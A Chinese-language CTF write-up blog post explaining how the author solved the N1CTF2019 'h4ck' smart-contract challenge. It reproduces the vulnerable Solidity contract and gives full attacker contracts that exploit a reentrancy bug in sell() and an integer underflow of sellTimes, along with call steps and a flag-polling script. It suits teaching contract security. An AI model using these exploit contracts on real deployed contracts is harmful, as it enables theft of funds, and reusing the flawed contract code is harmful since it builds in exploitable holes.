Fork me on GitHub
pikachu's Blog

N1CTF2019 h4ck


前言
前段时间参加了一下N1CTF2019(作为小白参加),很幸运做出一道Smart Contract的题目,在此记录一下,合约地址如下:
https://kovan.etherscan.io/address/0xe2d6d8808087d2e30eadf0acb67708148dbee0c0

Contract Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/**
*Submitted for verification at Etherscan.io on 2019-09-07
*/

/**
*Submitted for verification at Etherscan.io on 2019-05-31
*/

pragma solidity ^0.4.25;

contract owned {
address public owner;

constructor ()
public {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function transferOwnership(address newOwner) public
onlyOwner {
owner = newOwner;
}
}

contract challenge is owned{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;

mapping (address => uint256) public balanceOf;
mapping (address => uint256) public sellTimes;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public winner;

event Transfer(address _from, address _to, uint256 _value);
event Burn(address _from, uint256 _value);
event Win(address _address,bool _win);


constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}

function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}

function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}

function balanceOf(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}

function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}


function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}

function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}

function kill(address _address) public onlyOwner {
selfdestruct(_address);
}

function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}

}

分析

  • 题目的要求是execute the winnerSubmit function

    1
    2
    3
    4
    5
    6
    7
    function winnerSubmit() public returns (bool success){
    require(winner[msg.sender] == false);
    require(sellTimes[msg.sender] > 100);
    winner[msg.sender] = true;
    emit Win(msg.sender,true);
    return true;
    }
  • 这里有两个require,其中第一个require很容易满足,创建winner的时候默认全为false,所以只要满足第二个require即可

    • require(winner[msg.sender] == false);
    • require(sellTimes[msg.sender] > 100);
  • 阅读合约代码,发现sell函数,这里的msg.sender.call.value(_amount)()存在Reentrancy漏洞,同时可以使得sellTimes[msg.sender] -= 1,如果能产生下溢就行了,所以需要找一下初始化sellTimes[msg.sender]的地方,但是这里有4个require:

    • 第一个require很容易满足
    • 第二个require可以看下面的buy函数分析
    • 第三个require可以使用薅羊毛攻击方法,使得balanceOf[msg.sender]达到指定数额
    • 第四个require自动满足,address(this).balance给的很大
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      function sell(uint256 _amount) public returns (bool success){
      require(_amount >= 100);
      require(sellTimes[msg.sender] > 0);
      require(balanceOf[msg.sender] >= _amount);
      require(address(this).balance >= _amount);
      msg.sender.call.value(_amount)();
      _transfer(msg.sender, address(this), _amount);
      sellTimes[msg.sender] -= 1;
      return true;
      }
  • 找到了buy函数,可以使得sellTimes[msg.sender] = 1,这里有两个require,第一个很容易满足,默认就是0,所以只要msg.value == 1 wei即可,这样的话buy函数就可以改变sellTimes[msg.sender]1

    1
    2
    3
    4
    5
    6
    7
    function buy() payable public returns (bool success){
    require(balanceOf[msg.sender]==0);
    require(msg.value == 1 wei);
    _transfer(address(this), msg.sender, 1);
    sellTimes[msg.sender] = 1;
    return true;
    }
  • 这样的话,如果利用buy函数先使得sellTimes[msg.sender]=1,然后调用sell函数利用Reentrancy漏洞重入攻击两次的话,sellTimes[msg.sender]uint256类型,连续两次减1可以下溢,远远大于100,便可满足winnerSubmit中的第二个require攻击成功

部署攻击合约

攻击合约代码

这里部署了两个合约(不要在意命名了23333),hacker是攻击合约,hacker1是辅助合约,用来完成薅羊毛转账用到的,

  • 注意在部署hacker的同时转账1 wei,目的是调用后面的buy函数
  • 部署hacker1的同时转账200 wei,目的是完成后面薅羊毛转账,若amount=100 wei,则可以Reentrancy攻击两次,完成攻击
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    contract hacker {
    address instance_address = 0xe2d6d8808087d2e30eadf0acb67708148dbee0c0;
    challenge target = challenge(instance_address);

    function hacker() payable {}

    function hack1(){
    target.buy.value(1)();
    }

    function hack4(){
    target.sell(uint(100));
    }

    function get() public view returns (uint256 balance) {
    return address(this).balance;
    }

    function hack5(){
    target.winnerSubmit();
    }

    function() public payable {
    target.sell(uint(100));
    }

    }

    contract hacker1 {
    address instance_address = 0xe2d6d8808087d2e30eadf0acb67708148dbee0c0;
    challenge target = challenge(instance_address);

    function hacker1() payable {}

    function hack1(){
    target.buy.value(1)();
    }

    function hack2(){
    target.transfer(address(0x5ebec5286e74362613a5e6e8e3bb90df408fe2a7), 1);
    }

    function hack3(){
    for(uint i = 0; i<100; i++){
    hack1();
    hack2();
    }
    }

    function get() public view returns (uint256 balance) {
    return address(this).balance;
    }
    }

调用步骤

攻击合约地址0x48e3c62a006758d26b3ded0f4e28317fe0ea9dc8
薅羊毛辅助合约地址0x334e9e1c289be32000182e549fbadf27589b436e

  • 调用hackerhack1函数,使得sellTimes[address hacker]=1balanceOf[address hacker]=1 wei
  • 调用hacker1hack3函数两次,使得balanceOf[address hacker]+200=201
  • 调用hackerhack4函数两次,每次amount=100,这样便使得sellTimes[address hacker]完成下溢,可以看到sellTimes[address hacker]已经下溢到一个很大的数
  • 最后调用hackerhack5调用winnerSubmit完成攻击

    (主办方服务已关闭23333所以没法看到flag,只有当时被搅屎棍搞过的一张截图了,一直拿不到flag,最后发现flag只有在请求的那一瞬间会出现而且仅出现一次,请原谅我不会利用web3自动化模拟攻击,不过最后还是解决了,写了个脚本,一直请求就可以,成功拿到了flag,脚本如下)
    1
    2
    3
    4
    5
    6
    import requests

    url="http://47.244.41.61/challenge?address=0x48e3c62a006758d26b3ded0f4e28317fe0ea9dc8"

    while True:
    print requests.get(url).content.split("alert")[1].split("script")[0]
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2019/h4ck/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!